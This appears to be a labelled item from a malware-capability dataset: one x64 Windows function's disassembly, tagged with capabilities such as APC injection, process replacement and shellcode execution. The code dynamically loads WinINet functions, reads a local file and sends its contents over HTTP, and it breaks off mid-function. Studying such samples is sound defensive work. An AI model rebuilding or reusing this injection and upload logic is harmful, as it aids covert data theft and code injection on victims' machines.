Function at 0x140001300
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Inject apc
Read file on windows
Resume thread
Use process replacement

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x548]
sub rsp, 0x648
mov rax, qword [0x140028040]
xor rax, rsp
mov qword [rbp + 0x530], rax
mov r13, r9
mov qword [rbp + 0x110], r9
mov r15, r8
mov qword [rsp + 0x78], r8
mov qword [rbp - 0x70], rdx
mov qword [rsp + 0x50], rcx
mov qword [rbp + 0x120], rcx
mov qword [rbp], rdx
mov qword [rbp + 8], r8
mov qword [rbp + 0x10], r9
mov rcx, qword [rbp + 0x5b0]
mov qword [rsp + 0x68], rcx
mov qword [rbp + 0x18], rcx
mov r14, qword [rbp + 0x5b8]
mov qword [rbp + 0x20], r14
mov rcx, qword [rbp + 0x5c0]
mov qword [rsp + 0x70], rcx
mov qword [rbp + 0x28], rcx
mov r12, qword [rbp + 0x5c8]
mov qword [rbp + 0x30], r12
mov rdi, qword [rbp + 0x5d0]
mov qword [rsp + 0x60], rdi
mov qword [rbp + 0x38], rdi
mov rsi, qword [rbp + 0x5d8]
mov qword [rbp + 0x40], rsi
mov eax, dword [0x140028a48]
mov dword [rbp - 0x78], eax
mov eax, dword [0x1400280b4]
mov dword [rbp + 0x48], eax
lea rcx, [0x140028b78]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rdx, [0x140028a18]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028800], rax
lea rdx, [0x140028a00]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028808], rax
lea rdx, [0x1400289e8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028818], rax
lea rdx, [0x140028b98]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028810], rax
mov rax, qword [rsp + 0x70]
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000143c
mov rcx, qword [rax]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [0x140028800]
mov rbx, rax
mov qword [rbp - 0x80], rax
test rax, rax
jne 0x140001739
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm0
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rcx
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rax
call fcn.140003cc0
nop
mov rbx, qword [rbp - 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400014c8
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400014c3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a66
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x140001515
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x140001510
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a6d
mov rcx, r8
call fcn.14001dfb0
mov qword [r15 + 0x10], 0
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x140001564
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x14000155f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a74
mov rcx, r8
call fcn.14001dfb0
xor r15d, r15d
mov qword [r13 + 0x10], r15
mov qword [r13 + 0x18], 0xf
mov byte [r13], r15b
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400015b6
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400015b1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a7b
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x1400015ff
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x1400015fa
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a82
mov rcx, r8
call fcn.14001dfb0
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000164e
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140001649
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a89
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x140001699
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x140001694
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a90
mov rcx, r8
call fcn.14001dfb0
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1400016e6
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1400016e1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a97
mov rcx, r8
call fcn.14001dfb0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x14000172f
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14000172a
add rdx, 0x27
mov rax, qword [rcx - 8]
sub rcx, rax
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x140001a9e
mov rcx, rax
call fcn.14001dfb0
mov rax, qword [rsp + 0x50]
jmp 0x140003ae4
mov rax, qword [rsp + 0x68]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000174b
mov rdx, qword [rax]
xor eax, eax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rax
xor r9d, r9d
movzx r8d, word [rbp + 0x48]
mov rcx, rbx
call qword [0x140028808]
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x140001aa5
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm0
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rcx
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rax
call fcn.140003cc0
nop
mov rbx, qword [rbp - 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400017f1
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400017ec
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a66
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x14000183e
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x140001839
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a6d
mov rcx, r8
call fcn.14001dfb0
mov qword [r15 + 0x10], 0
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x14000188d
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x140001888
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a74
mov rcx, r8
call fcn.14001dfb0
xor r15d, r15d
mov qword [r13 + 0x10], r15
mov qword [r13 + 0x18], 0xf
mov byte [r13], r15b
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400018df
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400018da
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a7b
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x140001928
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x140001923
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a82
mov rcx, r8
call fcn.14001dfb0
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140001977
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140001972
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a89
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x1400019c2
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x1400019bd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a90
mov rcx, r8
call fcn.14001dfb0
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140001a0f
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140001a0a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a97
mov rcx, r8
call fcn.14001dfb0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x14000172f
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14000172a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a9e
mov rcx, r8
call fcn.14001dfb0
mov rax, qword [rsp + 0x50]
jmp 0x140003ae4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rbx, qword [rbp - 0x70]
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140001ab6
mov rcx, qword [rbx]
lea rdx, [0x1400238b4]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov qword [rbp + 0x120], rax
test rax, rax
je 0x1400033b3
lea rdx, [0x1400238b4]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov qword [rbp - 0x68], rax
test rax, rax
je 0x140002b38
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ebx, ebx
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rbx
mov rdi, 0xffffffffffffffff
mov r8, rdi
mov rdx, qword [rbp + 0x120]
inc r8
cmp byte [rdx + r8], bl
jne 0x140001b11
lea rcx, [rbp - 0x60]
call fcn.140003cc0
nop
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x70]
call fcn.14001d9b0
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140001b70
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b6b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b6b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001dfb0
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
mov r8, rdi
mov rdx, qword [rbp - 0x68]
inc r8
cmp byte [rdx + r8], 0
jne 0x140001b96
lea rcx, [rbp - 0x40]
call fcn.140003cc0
nop
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x50]
call fcn.14001d9b0
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140001bf6
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bf1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001bf1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001dfb0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 7
cmova rcx, qword [rbp + 0x70]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
jne 0x1400021e4
mov r8, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x140001c59
mov r8, qword [r14]
mov rbx, qword [rsp + 0x60]
mov r9, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140001c6b
mov r9, qword [rbx]
mov rdx, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x140001c7a
mov rdx, qword [r12]
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov eax, dword [rbp - 0x78]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
call qword [0x140028818]
mov qword [rbp + 0x120], rax
test rax, rax
jne 0x140002078
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm0
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rdi
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rax
call fcn.140003cc0
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 7
jbe 0x140001d2d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d28
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001dfb0
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x68], 7
mov word [rbp + 0x50], di
mov rdx, qword [rbp + 0x88]
cmp rdx, 7
jbe 0x140001d83
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d7e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001dfb0
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x88], 7
mov word [rbp + 0x70], di
mov rdi, qword [rbp - 0x70]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140001dd7
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140001dd2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002040
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], 0xf
mov byte [rdi], al
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x140001e23
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x140001e1c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002047
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x140001e6e
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x140001e69
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000204e
mov rcx, r8
call fcn.14001dfb0
xor r15d, r15d
mov qword [r13 + 0x10], r15
mov qword [r13 + 0x18], 0xf
mov byte [r13], r15b
mov rdi, qword [rsp + 0x68]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140001ec0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140001ebb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002055
mov rcx, r8
call fcn.14001dfb0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x140001f09
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x140001f04
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000205c
mov rcx, r8
call fcn.14001dfb0
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rdi, qword [rsp + 0x70]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140001f58
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140001f53
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002063
mov rcx, r8
call fcn.14001dfb0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x140001fa3
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x140001f9e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000206a
mov rcx, r8
call fcn.14001dfb0
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140001ff0
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140001feb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002071
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x14000172f
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14000172a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x140001a54
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 0x2710
call fcn.14001e2bc
mov qword [rsp + 0x60], rax
xor edx, edx
mov r8d, 0x2710
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [rbp + 0x116], eax
mov dword [rbp + 0x110], 0x65435041
mov word [rbp + 0x114], 0x72
mov rax, r13
cmp qword [r13 + 0x18], 0xf
jbe 0x1400020c0
mov rax, qword [r13]
mov r9, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x1400020cd
mov r9, qword [r15]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x110]
lea rdx, str._s_s____s
mov rcx, qword [rsp + 0x60]
call fcn.1400010e0
mov rdx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x1400020fc
mov rdx, qword [rsi]
mov r10, rdx
jmp 0x1400020ff
mov r10, rsi
mov rax, rdi
mov rcx, qword [rsp + 0x60]
inc rax
cmp byte [rcx + rax], 0
jne 0x140002107
inc rdi
cmp byte [rdx + rdi], 0
jne 0x140002110
mov r8, rdi
mov dword [rsp + 0x20], eax
mov r9, rcx
mov rdx, r10
mov rcx, qword [rbp + 0x120]
call qword [0x140028810]
mov rcx, qword [rsp + 0x60]
call fcn.14001dfb0
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x1400238b0]
mov rcx, qword [rsp + 0x50]
call fcn.140003c40
nop
lea rcx, [rbp + 0x50]
call fcn.140003b60
nop
lea rcx, [rbp + 0x70]
call fcn.140003b60
nop
mov rcx, qword [rbp - 0x70]
call fcn.140003be0
nop
mov rcx, r15
call fcn.140003be0
nop
mov rcx, r13
call fcn.140003be0
nop
mov rcx, qword [rsp + 0x68]
call fcn.140003be0
nop
mov rcx, r14
call fcn.140003be0
nop
mov rcx, qword [rsp + 0x70]
call fcn.140003be0
nop
mov rcx, r12
call fcn.140003be0
nop
mov rcx, rbx
call fcn.140003be0
nop
mov rcx, rsi
call fcn.140003be0
mov rax, qword [rsp + 0x50]
jmp 0x140003af3
mov dword [rbp + 0x48], 1
mov r15, rax
xor r13d, r13d
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x48]
mov r8d, 0x400
lea rdx, [rbp + 0x130]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rbp + 0x48]
add ebx, eax
test eax, eax
jne 0x1400021f1
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 7
cmova rcx, qword [rbp + 0x70]
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [rax + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x120], rax
cmp rax, 0xffffffffffffffff
mov r15, qword [rsp + 0x78]
mov r13, qword [rbp + 0x110]
jne 0x1400026c1
mov rbx, qword [rsp + 0x60]
mov r9, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000228b
mov r9, qword [rbx]
mov r8, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x140002298
mov r8, qword [r14]
mov rdx, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x1400022a7
mov rdx, qword [r12]
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov eax, dword [rbp - 0x78]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
call qword [0x140028818]
mov qword [rbp + 0x110], rax
test rax, rax
jne 0x14000255d
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x1400238b0]
mov rcx, qword [rsp + 0x50]
call fcn.140003c40
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 7
jbe 0x140002344
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000233f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000233f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001dfb0
xor eax, eax
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], 7
mov word [rbp + 0x50], ax
lea rcx, [rbp + 0x70]
call fcn.140003b60
nop
mov rcx, qword [rbp - 0x70]
call fcn.140003be0
nop
mov rcx, r15
call fcn.140003be0
nop
mov rcx, r13
call fcn.140003be0
nop
mov rdi, qword [rsp + 0x68]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1400023bb
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1400023b6
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000253a
mov rcx, r8
call fcn.14001dfb0
xor r15d, r15d
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], r15b
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x140002407
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x140002402
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002541
mov rcx, r8
call fcn.14001dfb0
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rdi, qword [rsp + 0x70]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140002456
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140002451
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002548
mov rcx, r8
call fcn.14001dfb0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x1400024a1
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x14000249c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000254f
mov rcx, r8
